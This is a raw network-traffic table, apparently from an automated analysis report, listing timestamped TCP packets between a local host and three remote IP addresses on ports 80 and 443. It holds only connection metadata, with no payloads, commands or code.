Dec 12, 2024 14:26:51.717824936 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.717879057 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.718070984 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.718122005 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.719758987 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.719810009 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.720572948 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.720621109 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.721699953 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.721750021 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.721790075 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.721829891 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.723628044 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.723687887 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.723701954 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.723743916 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.725701094 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.725716114 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.725752115 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.725789070 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.727533102 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.727581978 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.727670908 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.727710962 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.729408979 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.729428053 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.729458094 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.731359959 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.731400967 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.731400967 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.731431961 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.731477976 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.733267069 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.733278036 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.733319044 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.735182047 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.735218048 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.735218048 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.826544046 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.826618910 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.826987028 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.827040911 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.827347040 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.827359915 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.827390909 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.827414989 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.828530073 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.828568935 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.828669071 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.828716993 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.829900980 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.829942942 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.830382109 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.830429077 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.831571102 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.831614971 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.831880093 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.831922054 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.833100080 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.833148003 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.833148956 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.833193064 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.834335089 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.834383965 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.834439039 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.834476948 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.835335970 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.835385084 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.835737944 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.835792065 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.836672068 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.836724997 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.836867094 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.836910963 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.837882042 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.837934971 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.838126898 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.838169098 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.839196920 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.839240074 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.839307070 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.839346886 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.840570927 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.840611935 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.840621948 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.840662956 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.841754913 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.841800928 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.841887951 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.841933966 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.843029976 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.843166113 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.843174934 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.843216896 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.844575882 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.844614983 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.844616890 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.844655037 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.845558882 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.845624924 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.845654011 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.845663071 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.847203016 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.847253084 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.847379923 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.847428083 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.848228931 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.848275900 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.848553896 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.848594904 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.849327087 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.849339962 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.849375010 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.849384069 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.850539923 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.850586891 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.850603104 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.850658894 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.851340055 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.851387978 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.851624966 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.851667881 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.852190971 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.852221966 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.852230072 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.852264881 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.852986097 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.853032112 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.853051901 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.853090048 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.853833914 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.853879929 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.854043961 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.854088068 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.854659081 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.854706049 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.854846954 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.854893923 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.855499029 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.855539083 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.856163025 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.856205940 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.856312990 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.856324911 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.856353045 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.856370926 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.857065916 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.857110023 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:55.295677900 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:55.296242952 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:55.415891886 CET	80	49860	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:55.415965080 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:55.416023016 CET	80	49871	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:55.416140079 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:55.479202032 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:55.599136114 CET	80	49871	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:56.621764898 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:56.621803999 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:56.621926069 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:56.632544994 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:56.632570982 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:56.752343893 CET	80	49871	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:56.752808094 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:56.780082941 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:56.780505896 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:56.900187969 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:56.900249958 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:56.900314093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:56.900432110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:56.941709042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:57.061547995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:57.998831987 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:57.998940945 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:58.231163025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231201887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231215954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231283903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231300116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231328011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231333017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231333017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231340885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231354952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231374979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231376886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231410027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231410027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231440067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.231571913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.231631041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.351583004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.351639986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.351730108 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.351730108 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.355518103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.355611086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.355612040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.355664968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.428777933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.428805113 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.428909063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.432997942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.433056116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.433214903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.433283091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.441304922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.441381931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.441411972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.441628933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.449804068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.449889898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.449935913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.449935913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.458132982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.458200932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.458228111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.458270073 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.466653109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.466675043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.466730118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.467051029 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.474865913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.474935055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.474976063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.474976063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.483329058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.483433962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.483460903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.483511925 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.491746902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.491827965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.491873980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.491935015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.499391079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.499460936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.499479055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.499586105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.506989956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.507051945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.507067919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.507111073 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.514645100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.514745951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.514791012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.514879942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.622451067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.622533083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.622555017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.622596979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.624963045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.625022888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.625052929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.625082016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.629828930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.629935980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.629965067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.630028009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.634653091 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.634774923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.634788036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.634835958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.639585972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.639681101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.639691114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.639754057 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.644442081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.644529104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.644572020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.644572973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.649046898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.649126053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.649136066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.649177074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.653783083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.653842926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.653855085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.653891087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.658338070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.658423901 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.658420086 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.658495903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.662952900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.663002014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.663064003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.663064003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.667618036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.667712927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.667723894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.667758942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.672292948 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.672369957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.672400951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.672441006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.676907063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.677079916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.677134037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.677175045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.681543112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.681659937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.681700945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.681766033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.686161995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.686256886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.686269045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.686392069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.690759897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.690864086 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.690893888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.691009998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.695470095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.695492983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.695594072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.695594072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.814707041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.814784050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.814853907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.814853907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.816620111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.816725969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.816744089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.816804886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.820524931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.820650101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.820688009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.820688009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.824424982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.824438095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.824492931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.824492931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.828104019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.828226089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.828258991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.828301907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.831969976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.832006931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.832077980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.832307100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.835514069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.835586071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.835627079 CET	49878	80	192.168.2.4	31.41.244.11
